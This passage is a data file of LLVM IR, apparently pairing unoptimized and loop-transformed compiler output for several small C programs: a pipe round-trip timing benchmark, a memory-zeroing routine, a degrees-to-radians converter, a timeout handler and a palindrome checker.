@.str.6 = private unnamed_addr constant [5 x i8] c"read\00", align 1
@.str.7 = private unnamed_addr constant [5 x i8] c"fork\00", align 1
@.str.8 = private unnamed_addr constant [35 x i8] c"total cycles for round trip: %lld\0A\00", align 1
@.str.9 = private unnamed_addr constant [40 x i8] c"time spend (half of bi-direction): %Lf\0A\00", align 1
@.str.10 = private unnamed_addr constant [5 x i8] c"%Lf\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca [2 x i32], align 4
%11 = alloca [2 x i32], align 4
%12 = alloca [65536 x i8], align 16
%13 = alloca i32, align 4
%14 = alloca ptr, align 8
%15 = alloca [65536 x i8], align 16
%16 = alloca [65536 x i8], align 16
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca x86_fp80, align 16
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%21 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %21, ptr %14, align 8
%22 = load ptr, ptr %14, align 8
%23 = icmp eq ptr %22, null
br i1 %23, label %24, label %26
24: ; preds = %2
%25 = call i32 @perror(ptr noundef @.str.2)
ret i32 -1
26: ; preds = %2
%27 = getelementptr inbounds [65536 x i8], ptr %15, i64 0, i64 0
%28 = load ptr, ptr %14, align 8
%29 = call ptr @fgets(ptr noundef %27, i32 noundef 65536, ptr noundef %28)
%30 = icmp ne ptr %29, null
br i1 %30, label %31, label %36
31: ; preds = %26
%32 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 0
%33 = getelementptr inbounds [65536 x i8], ptr %15, i64 0, i64 0
%34 = call i32 @memcpy(ptr noundef %32, ptr noundef %33, i32 noundef 65536)
%35 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 65536
store i8 0, ptr %35, align 16
br label %36
36: ; preds = %31, %26
%37 = load ptr, ptr %14, align 8
%38 = call i32 @fclose(ptr noundef %37)
%39 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 0
store ptr %39, ptr %17, align 8
%40 = call ptr @fopen(ptr noundef @.str.3, ptr noundef @.str.4)
store ptr %40, ptr %18, align 8
%41 = icmp eq ptr %40, null
br i1 %41, label %42, label %45
42: ; preds = %36
%43 = call i32 @perror(ptr noundef @.str.3)
%44 = call i32 @exit(i32 noundef 1) #3
unreachable
45: ; preds = %36
store i32 0, ptr %19, align 4
%46 = load i32, ptr %19, align 4
%47 = load i32, ptr %19, align 4
%48 = icmp slt i32 %47, 100
br i1 %48, label %.lr.ph, label %113
.lr.ph: ; preds = %45
br label %49
49: ; preds = %.lr.ph, %108
%50 = getelementptr inbounds [2 x i32], ptr %10, i64 0, i64 0
%51 = call i32 @pipe(ptr noundef %50)
%52 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%53 = call i32 @pipe(ptr noundef %52)
%54 = call i64 (...) @rdtsc()
store i64 %54, ptr %6, align 8
%55 = call i32 (...) @fork()
store i32 %55, ptr %8, align 4
switch i32 %55, label %63 [
i32 0, label %56
i32 -1, label %86
]
56: ; preds = %49
%57 = getelementptr inbounds [2 x i32], ptr %10, i64 0, i64 0
%58 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%59 = load ptr, ptr %17, align 8
%60 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 0
%61 = call i32 @runpipe(ptr noundef %57, ptr noundef %58, ptr noundef %59, ptr noundef %60)
%62 = call i32 @exit(i32 noundef 0) #3
unreachable
63: ; preds = %49
br label %64
64: ; preds = %64, %63
%65 = call i32 @wait(ptr noundef %9)
store i32 %65, ptr %8, align 4
%66 = icmp ne i32 %65, -1
br i1 %66, label %64, label %67, !llvm.loop !6
67: ; preds = %64
%68 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 1
%69 = load i32, ptr %68, align 4
%70 = call i32 @close(i32 noundef %69)
%71 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%72 = load i32, ptr %71, align 4
%73 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 0
%74 = call i32 @read(i32 noundef %72, ptr noundef %73, i32 noundef 65536)
store i32 %74, ptr %13, align 4
%75 = icmp sge i32 %74, 0
br i1 %75, label %76, label %83
76: ; preds = %67
%77 = load i32, ptr %13, align 4
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 %78
store i8 0, ptr %79, align 1
%80 = load i32, ptr %13, align 4
%81 = sitofp i32 %80 to x86_fp80
%82 = call i32 @printf(ptr noundef @.str.5, x86_fp80 noundef %81)
br label %85
83: ; preds = %67
%84 = call i32 @perror(ptr noundef @.str.6)
br label %85
85: ; preds = %83, %76
br label %89
86: ; preds = %49
%87 = call i32 @perror(ptr noundef @.str.7)
%88 = call i32 @exit(i32 noundef 1) #3
unreachable
89: ; preds = %85
%90 = call i64 (...) @rdtsc()
store i64 %90, ptr %7, align 8
%91 = load i64, ptr %7, align 8
%92 = load i64, ptr %6, align 8
%93 = sub i64 %91, %92
%94 = uitofp i64 %93 to x86_fp80
%95 = call i32 @printf(ptr noundef @.str.8, x86_fp80 noundef %94)
%96 = load i64, ptr %7, align 8
%97 = load i64, ptr %6, align 8
%98 = sub i64 %96, %97
%99 = uitofp i64 %98 to x86_fp80
%100 = fdiv x86_fp80 %99, 0xK401F9AF8DA0000000000
store x86_fp80 %100, ptr %20, align 16
%101 = load x86_fp80, ptr %20, align 16
%102 = call i32 @printf(ptr noundef @.str.9, x86_fp80 noundef %101)
%103 = load ptr, ptr %18, align 8
%104 = load x86_fp80, ptr %20, align 16
%105 = call i32 @fprintf(ptr noundef %103, ptr noundef @.str.10, x86_fp80 noundef %104)
%106 = load ptr, ptr %18, align 8
%107 = call i32 @fflush(ptr noundef %106)
br label %108
108: ; preds = %89
%109 = load i32, ptr %19, align 4
%110 = add nsw i32 %109, 1
store i32 %110, ptr %19, align 4
%111 = load i32, ptr %19, align 4
%112 = icmp slt i32 %111, 100
br i1 %112, label %49, label %._crit_edge, !llvm.loop !8
._crit_edge: ; preds = %108
br label %113
113: ; preds = %._crit_edge, %45
%114 = load ptr, ptr %18, align 8
%115 = call i32 @fclose(ptr noundef %114)
%116 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @pipe(ptr noundef) #1
declare i64 @rdtsc(...) #1
declare i32 @fork(...) #1
declare i32 @runpipe(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @wait(ptr noundef) #1
declare i32 @close(i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, x86_fp80 noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, x86_fp80 noundef) #1
declare i32 @fflush(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpm2nkifqt.c'
source_filename = "/tmp/tmpm2nkifqt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fillz(ptr noundef %0, i64 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca i32, align 4
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%9 = load ptr, ptr %4, align 8
store ptr %9, ptr %8, align 8
%10 = load i64, ptr %5, align 8
%11 = load i32, ptr %6, align 4
%12 = sext i32 %11 to i64
%13 = mul i64 %10, %12
store i64 %13, ptr %7, align 8
br label %14
14: ; preds = %18, %3
%15 = load i64, ptr %7, align 8
%16 = add nsw i64 %15, -1
store i64 %16, ptr %7, align 8
%17 = icmp ne i64 %15, 0
br i1 %17, label %18, label %21
18: ; preds = %14
%19 = load ptr, ptr %8, align 8
%20 = getelementptr inbounds i8, ptr %19, i32 1
store ptr %20, ptr %8, align 8
store i8 0, ptr %19, align 1
br label %14, !llvm.loop !6
21: ; preds = %14
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpm2nkifqt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fillz(ptr noundef %0, i64 noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca i32, align 4
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%9 = load ptr, ptr %4, align 8
store ptr %9, ptr %8, align 8
%10 = load i64, ptr %5, align 8
%11 = load i32, ptr %6, align 4
%12 = sext i32 %11 to i64
%13 = mul i64 %10, %12
store i64 %13, ptr %7, align 8
%14 = load i64, ptr %7, align 8
%15 = add nsw i64 %14, -1
store i64 %15, ptr %7, align 8
%16 = icmp ne i64 %14, 0
br i1 %16, label %.lr.ph, label %23
.lr.ph: ; preds = %3
br label %17
17: ; preds = %.lr.ph, %17
%18 = load ptr, ptr %8, align 8
%19 = getelementptr inbounds i8, ptr %18, i32 1
store ptr %19, ptr %8, align 8
store i8 0, ptr %18, align 1
%20 = load i64, ptr %7, align 8
%21 = add nsw i64 %20, -1
store i64 %21, ptr %7, align 8
%22 = icmp ne i64 %20, 0
br i1 %22, label %17, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %17
br label %23
23: ; preds = %._crit_edge, %3
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpqrnfmjol.c'
source_filename = "/tmp/tmpqrnfmjol.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"Geben Sie den Winkel ein\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%lf\00", align 1
@.str.2 = private unnamed_addr constant [29 x i8] c"Der Winkel im Bogenma\C2\A7: %f\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca double, align 8
%3 = alloca double, align 8
store i32 0, ptr %1, align 4
store double 0.000000e+00, ptr %2, align 8
store double 0.000000e+00, ptr %3, align 8
%4 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%5 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %2)
%6 = load double, ptr %2, align 8
%7 = call double @bogenmass(double noundef %6)
store double %7, ptr %3, align 8
%8 = load double, ptr %3, align 8
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, double noundef %8)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare double @bogenmass(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqrnfmjol.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [26 x i8] c"Geben Sie den Winkel ein\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%lf\00", align 1
@.str.2 = private unnamed_addr constant [29 x i8] c"Der Winkel im Bogenma\C2\A7: %f\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca double, align 8
%3 = alloca double, align 8
store i32 0, ptr %1, align 4
store double 0.000000e+00, ptr %2, align 8
store double 0.000000e+00, ptr %3, align 8
%4 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%5 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %2)
%6 = load double, ptr %2, align 8
%7 = call double @bogenmass(double noundef %6)
store double %7, ptr %3, align 8
%8 = load double, ptr %3, align 8
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, double noundef %8)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare double @bogenmass(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpbe2nai1_.c'
source_filename = "/tmp/tmpbe2nai1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [11 x i8] c"timed out\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @timeout(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = load i32, ptr @stderr, align 4
%5 = call i32 @fprintf(i32 noundef %4, ptr noundef @.str)
%6 = call i32 @exit(i32 noundef 142) #3
unreachable
}
declare i32 @fprintf(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpbe2nai1_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [11 x i8] c"timed out\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @timeout(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = load i32, ptr @stderr, align 4
%5 = call i32 @fprintf(i32 noundef %4, ptr noundef @.str)
%6 = call i32 @exit(i32 noundef 142) #3
unreachable
}
declare i32 @fprintf(i32 noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3tkb3avh.c'
source_filename = "/tmp/tmp3tkb3avh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"inserisci un nome: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [24 x i8] c"\0Ail nome e' palindromo\0A\00", align 1
@.str.3 = private unnamed_addr constant [28 x i8] c"\0Ail nome non e' palindromo\0A\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"PAUSE\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [100 x i8], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 0, ptr %1, align 4
%7 = call i32 @printf(ptr noundef @.str)
%8 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 0
%9 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %8)
store i32 0, ptr %6, align 4
br label %10
10: ; preds = %17, %0
%11 = load i32, ptr %6, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %12
%14 = load i8, ptr %13, align 1
%15 = sext i8 %14 to i32
%16 = icmp ne i32 %15, 0
br i1 %16, label %17, label %20
17: ; preds = %10
%18 = load i32, ptr %6, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %6, align 4
br label %10, !llvm.loop !6
20: ; preds = %10
%21 = load i32, ptr %6, align 4
%22 = add nsw i32 %21, -1
store i32 %22, ptr %6, align 4
store i32 0, ptr %5, align 4
store i32 1, ptr %3, align 4
%23 = load i32, ptr %6, align 4
%24 = sdiv i32 %23, 2
store i32 %24, ptr %4, align 4
br label %25
25: ; preds = %47, %20
%26 = load i32, ptr %5, align 4
%27 = load i32, ptr %4, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %29, label %32
29: ; preds = %25
%30 = load i32, ptr %3, align 4
%31 = icmp eq i32 %30, 1
br label %32
32: ; preds = %29, %25
%33 = phi i1 [ false, %25 ], [ %31, %29 ]
br i1 %33, label %34, label %52
34: ; preds = %32
%35 = load i32, ptr %6, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %36
%38 = load i8, ptr %37, align 1
%39 = sext i8 %38 to i32
%40 = load i32, ptr %5, align 4
%41 = sext i32 %40 to i64
%42 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %41
%43 = load i8, ptr %42, align 1
%44 = sext i8 %43 to i32
%45 = icmp ne i32 %39, %44
br i1 %45, label %46, label %47
46: ; preds = %34
store i32 0, ptr %3, align 4
br label %47
47: ; preds = %46, %34
%48 = load i32, ptr %6, align 4
%49 = add nsw i32 %48, -1
store i32 %49, ptr %6, align 4
%50 = load i32, ptr %5, align 4
%51 = add nsw i32 %50, 1
store i32 %51, ptr %5, align 4
br label %25, !llvm.loop !8
52: ; preds = %32
%53 = load i32, ptr %3, align 4
%54 = icmp eq i32 %53, 1
br i1 %54, label %55, label %57
55: ; preds = %52
%56 = call i32 @printf(ptr noundef @.str.2)
br label %59
57: ; preds = %52
%58 = call i32 @printf(ptr noundef @.str.3)
br label %59
59: ; preds = %57, %55
%60 = call i32 @system(ptr noundef @.str.4)
%61 = load i32, ptr %1, align 4
ret i32 %61
}
declare i32 @printf(ptr noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @system(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3tkb3avh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"inserisci un nome: \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [24 x i8] c"\0Ail nome e' palindromo\0A\00", align 1
@.str.3 = private unnamed_addr constant [28 x i8] c"\0Ail nome non e' palindromo\0A\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"PAUSE\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [100 x i8], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store i32 0, ptr %1, align 4
%7 = call i32 @printf(ptr noundef @.str)
%8 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 0
%9 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %8)
store i32 0, ptr %6, align 4
%10 = load i32, ptr %6, align 4
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %11
%13 = load i8, ptr %12, align 1
%14 = sext i8 %13 to i32
%15 = icmp ne i32 %14, 0
br i1 %15, label %.lr.ph, label %25
.lr.ph: ; preds = %0
br label %16
16: ; preds = %.lr.ph, %16
%17 = load i32, ptr %6, align 4
%18 = add nsw i32 %17, 1
store i32 %18, ptr %6, align 4
%19 = load i32, ptr %6, align 4
%20 = sext i32 %19 to i64
%21 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %20
%22 = load i8, ptr %21, align 1
%23 = sext i8 %22 to i32
%24 = icmp ne i32 %23, 0
br i1 %24, label %16, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %25
25: ; preds = %._crit_edge, %0
%26 = load i32, ptr %6, align 4
%27 = add nsw i32 %26, -1
store i32 %27, ptr %6, align 4
store i32 0, ptr %5, align 4
store i32 1, ptr %3, align 4
%28 = load i32, ptr %6, align 4
%29 = sdiv i32 %28, 2
store i32 %29, ptr %4, align 4
br label %30
30: ; preds = %52, %25
%31 = load i32, ptr %5, align 4
%32 = load i32, ptr %4, align 4
%33 = icmp slt i32 %31, %32
br i1 %33, label %34, label %37
34: ; preds = %30
%35 = load i32, ptr %3, align 4
%36 = icmp eq i32 %35, 1
br label %37
37: ; preds = %34, %30
%38 = phi i1 [ false, %30 ], [ %36, %34 ]
br i1 %38, label %39, label %57
39: ; preds = %37
%40 = load i32, ptr %6, align 4
%41 = sext i32 %40 to i64
%42 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %41
%43 = load i8, ptr %42, align 1
%44 = sext i8 %43 to i32
%45 = load i32, ptr %5, align 4
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds [100 x i8], ptr %2, i64 0, i64 %46
%48 = load i8, ptr %47, align 1
%49 = sext i8 %48 to i32
%50 = icmp ne i32 %44, %49
br i1 %50, label %51, label %52
51: ; preds = %39
store i32 0, ptr %3, align 4
br label %52
52: ; preds = %51, %39
%53 = load i32, ptr %6, align 4
%54 = add nsw i32 %53, -1
store i32 %54, ptr %6, align 4
%55 = load i32, ptr %5, align 4
%56 = add nsw i32 %55, 1
store i32 %56, ptr %5, align 4
br label %30, !llvm.loop !8
57: ; preds = %37
%58 = load i32, ptr %3, align 4
%59 = icmp eq i32 %58, 1
br i1 %59, label %60, label %62
60: ; preds = %57
%61 = call i32 @printf(ptr noundef @.str.2)
br label %64
62: ; preds = %57
